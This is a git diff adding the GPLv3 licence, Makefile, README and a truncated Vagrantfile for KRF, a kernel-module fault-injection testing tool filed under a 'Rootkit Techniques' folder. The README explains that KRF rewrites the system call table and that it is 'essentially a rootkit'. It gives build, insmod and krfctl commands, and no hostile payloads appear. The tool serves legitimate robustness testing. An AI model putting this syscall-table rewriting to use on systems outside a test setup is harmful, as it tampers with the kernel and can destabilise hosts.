others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Makefile new file mode 100644 index 0000000..b2f77e5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Makefile @@ -0,0 +1,61 @@ +export CFLAGS := -std=gnu99 -Wall -Werror -pedantic +export PLATFORM := $(shell uname -s | tr '[:upper:]' '[:lower:]') + +CLANG_FORMAT := clang-format +ALL_SRCS := $(shell find . -type f \( -name '*.c' -o -name '*.h' \)) +PREFIX = /usr/local + +all: module krfexec krfctl krfmesg example + +.PHONY: module +module: + $(MAKE) -C src/module/$(PLATFORM) module + +.PHONY: krfexec +krfexec: + $(MAKE) -C src/krfexec + +.PHONY: krfctl +krfctl: + $(MAKE) -C src/krfctl + +.PHONY: krfmesg +krfmesg: + $(MAKE) -C src/krfmesg + +.PHONY: insmod +insmod: + $(MAKE) -C src/module/$(PLATFORM) insmod + +.PHONY: rmmod +rmmod: + $(MAKE) -C src/module/$(PLATFORM) rmmod + +.PHONY: example +example: + $(MAKE) -C example + +.PHONY: clean +clean: + $(MAKE) -C src/module/$(PLATFORM) clean + $(MAKE) -C src/krfexec clean + $(MAKE) -C src/krfctl clean + $(MAKE) -C example clean + +.PHONY: fmt +fmt: + $(CLANG_FORMAT) -i -style=file $(ALL_SRCS) + +.PHONY: install-module +install-module: module + $(MAKE) -C src/module/$(PLATFORM) install + +.PHONY: install-utils +install-utils: krfexec krfctl krfmesg + install -d $(DESTDIR)$(PREFIX)/bin + install src/krfexec/krfexec $(DESTDIR)$(PREFIX)/bin + install src/krfctl/krfctl $(DESTDIR)$(PREFIX)/bin + install src/krfmesg/krfmesg $(DESTDIR)$(PREFIX)/bin + +.PHONY: install +install: install-module install-utils diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/README.md b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/README.md new file mode 100644 index 0000000..3ea54cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/README.md @@ -0,0 +1,258 @@ +KRF +=== + +[![Build Status](https://img.shields.io/github/workflow/status/trailofbits/krf/CI/master)](https://github.com/trailofbits/krf/actions?query=workflow%3ACI) + +KRF is a **K**ernelspace **R**andomized **F**aulter. + +It currently supports the Linux and FreeBSD kernels. + +## What? + +[Fault injection](https://en.wikipedia.org/wiki/Fault_injection) is a software testing technique +that involves inducing failures ("faults") in the functions called by a program. If the callee +has failed to perform proper error checking and handling, these faults can result in unreliable +application behavior or exploitable vulnerabilities. + +Unlike the many userspace fault injection systems out there, KRF runs in kernelspace +via a loaded module. This has several advantages: + +* It works on static binaries, as it does not rely on `LD_PRELOAD` for injection. +* Because it intercepts raw syscalls and not their libc wrappers, it can inject faults +into calls made by `syscall(3)` or inline assembly. +* It's probably faster and less error-prone than futzing with `dlsym`. + +There are also several disadvantages: + +* You'll probably need to build it yourself. +* It probably only works on x86(_64), since it twiddles `cr0` manually. There is probably +an architecture-independent way to do that in Linux, somewhere. +* It's essentially a rootkit. You should definitely never, ever run it on a non-testing system. +* It probably doesn't cover everything that the Linux kernel expects of syscalls, and may +destabilize its host in weird and difficult to reproduce ways. + +## How does it work? + +KRF rewrites the Linux or FreeBSD system call table: when configured via `krfctl`, KRF replaces faultable +syscalls with thin wrappers. + +Each wrapper then performs a check to see whether the call should be faulted using a configurable targeting system capable of targeting a specific `personality(2)`, PID, UID, and/or GID. If the process **shouldn't** be faulted, the original syscall is +invoked. + +Finally, the targeted call is faulted via a random failure function. For example, +a `read(2)` call might receive one of `EBADF`, `EINTR`, `EIO`, and so on. + +You can read more about KRF's implementation +[in our blog post](https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/). + +## Setup + +### Compatibility + +**NOTE**: If you have Vagrant, just use the Vagrantfile and jump to the build steps. + +KRF should work on any recent-ish (4.15+) Linux kernel with `CONFIG_KALLSYMS=1`. + +This includes the default kernel on Ubuntu 18.04 and probably many other recent distros. + +### Dependencies + +**NOTE**: Ignore this if you're using Vagrant. + +Apart from a C toolchain (GCC is probably necessary for Linux), KRF's only dependencies should be +`libelf`, the kernel headers, and Ruby (>=2.4, for code generation). + +GNU Make is required on all platforms; FreeBSD *additionally* requires BSD Make. + +For systems with `apt`: + +```bash +sudo apt install gcc make libelf-dev ruby linux-headers-$(uname -r) +``` + +### Building + +```bash +git clone https://github.com/trailofbits/krf && cd krf +make -j$(nproc) +sudo make install # Installs module to /lib/modules and utils to /usr/local/bin +sudo make insmod # Loads module +``` + +or, if you're using Vagrant: + +```bash +git clone https://github.com/trailofbits/krf && cd krf +vagrant up linux && vagrant ssh linux +# inside the VM +cd /vagrant +make -j$(nproc) +sudo make install # Installs module to /lib/modules and utils to /usr/local/bin +sudo make insmod # Loads module +``` + +or, for FreeBSD: + +```bash +git clone https://github.com/trailofbits/krf && cd krf +cd vagrant up freebsd && vagrant ssh freebsd +# inside the VM +cd /vagrant +gmake # NOT make! +gmake install-module # Installs module to /boot/modules/ +sudo gmake install-utils # Installs utils to /usr/local/bin +gmake insmod # Loads module +``` + +## Usage + +KRF has three components: + +* A kernel module (`krfx`) +* An execution utility (`krfexec`) +* A control utility (`krfctl`) +* A kernel module logger (`krfmesg`) + +To load the kernel module, run `make insmod`. To unload it, run `make rmmod`. + +For first time use it might be useful to launch `sudo krfmesg` on a separate terminal to see messages logged from `krfx`. + +KRF begins in a neutral state: no syscalls will be intercepted or faulted until the user +specifies some behavior via `krfctl`: + +```bash +# no induced faults, even with KRF loaded +ls + +# tell krf to fault read(2) and write(2) calls +# note that krfctl requires root privileges +sudo krfctl -F 'read,write' + +# tell krf to fault any program started by +# krfexec, meaning a personality of 28 +sudo krfctl -T personality=28 + +# may fault! +krfexec ls + +# tell krf to fault with a 1/100 (or 1%) probability +# note that this value is represented as a reciprocal +# so e.g. 1 means all faultable syscalls will fault +# and 500 means that on average every 500 syscalls will fault (1/500 or 0.2%) +sudo krfctl -p 100 + +# tell krf to fault `io` profile (and so i/o related syscalls) +sudo krfctl -P io + +# krfexec will pass options correctly as well +krfexec echo -n 'no newline' + +# clear the fault specification +sudo krfctl -c + +# clear the targeting specification +sudo krfctl -C + +# no induced faults, since no syscalls are being faulted +krfexec firefox +``` + +## Configuration + +**NOTE**: Most users should use `krfctl` instead of manipulating these files by hand. +In FreeBSD, these same values are accessible through `sysctl krf.whatever` instead of procfs. + +### `/proc/krf/rng_state` + +This file allows a user to read and modify the internal state of KRF's PRNG. + +For example, each of the following will correctly update the state: + +```bash +echo "1234" | sudo tee /proc/krf/rng_state +echo "0777" | sudo tee /proc/krf/rng_state +echo "0xFF" | sudo tee /proc/krf/rng_state +``` + +The state is a 32-bit unsigned integer; attempting to change it beyond that will fail. + +### `/proc/krf/targeting` + +This file allows a user set the values used by KRF for syscall +targeting. + +**NOTE**: KRF uses a default personality not currently used by the Linux kernel by default. If you change +this, you should be careful to avoid making it something that Linux cares about. `man 2 personality` +has the details. + +```bash +echo "0 28" | sudo tee /proc/krf/targeting +``` + +A personality of 28 is hardcoded into `krfexec`, and must be set in order for things executed +by `krfexec` to be faulted. + +### `/proc/krf/probability` + +This file allows a user to read and write the probability of inducing fault for a given +(faultable) syscall. + +The probability is represented as a reciprocal, e.g. `1000` means that, on average, `0.1%` of +faultable syscalls will be faulted. + +```bash +echo "100000" | sudo tee /proc/krf/probability +``` + +### `/proc/krf/control` + +This file controls the syscalls that KRF faults. + +**NOTE**: Most users should use `krfctl` instead of interacting with this file directly — +the former will perform syscall name-to-number translation automatically and will provide clearer +error messages when things go wrong. + +```bash +# replace the syscall in slot 0 (usually SYS_read) with its faulty wrapper +echo "0" | sudo tee /proc/krf/control +``` + +Passing any number greater than `KRF_NR_SYSCALLS` will cause KRF to flush the entire syscall table, +returning it to the neutral state. Since `KRF_NR_SYSCALLS` isn't necessarily predictable for +arbitrary versions of the Linux kernel, choosing a large number (like 65535) is fine. + +Passing a valid syscall number that lacks a fault injection wrapper will cause the `write(2)` +to the file to fail with `EOPNOTSUPP`. + +### `/proc/krf/log_faults` + +This file controls whether or not KRF emits kernel logs on faulty syscalls. By default, no +logging messages are emitted. + +**NOTE**: Most users should use `krfctl` instead of interacting with this file directly. + +```bash +# enable fault logging +echo "1" | sudo tee /proc/krf/log_faults +# disable fault logging +echo "0" | sudo tee /proc/krf/log_faults +# read the logging state +cat /proc/krf/log_faults +``` + +## TODO + +* Allow users to specify a particular class of faults, e.g. memory pressure (`ENOMEM`). + * This should be do-able by adding some more bits to the `personality(2)` value. + +## Thanks + +Many thanks go to [Andrew Reiter](https://github.com/roachspray) for the +[initial port](https://github.com/roachspray/fkrf) of KRF to FreeBSD. Andrew's work was performed +on behalf of the Applied Research Group at Veracode. + +## Licensing + +KRF is licensed under the terms of the GNU GPLv3. + +See the [LICENSE](./LICENSE) file for the exact terms. diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Vagrantfile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Vagrantfile new file mode 100644 index 0000000..d9f557d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/Vagrantfile @@ -0,0 +1,39 @@ +# frozen_string_literal: true + +Vagrant.configure("2") do |config| + config.vm.provider :virtualbox do |vb| + vb.memory = ENV["KRF_VAGRANT_RAM"] || 2048 + vb.cpus = ENV["KRF_VAGRANT_CPUS"] || 2 + end + + config.vm.define "linux" do |linux| + linux.vm.box = "ubuntu/bionic64" + linux.vm.provision :shell, inline: <<~PROVISION + sudo apt update + sudo 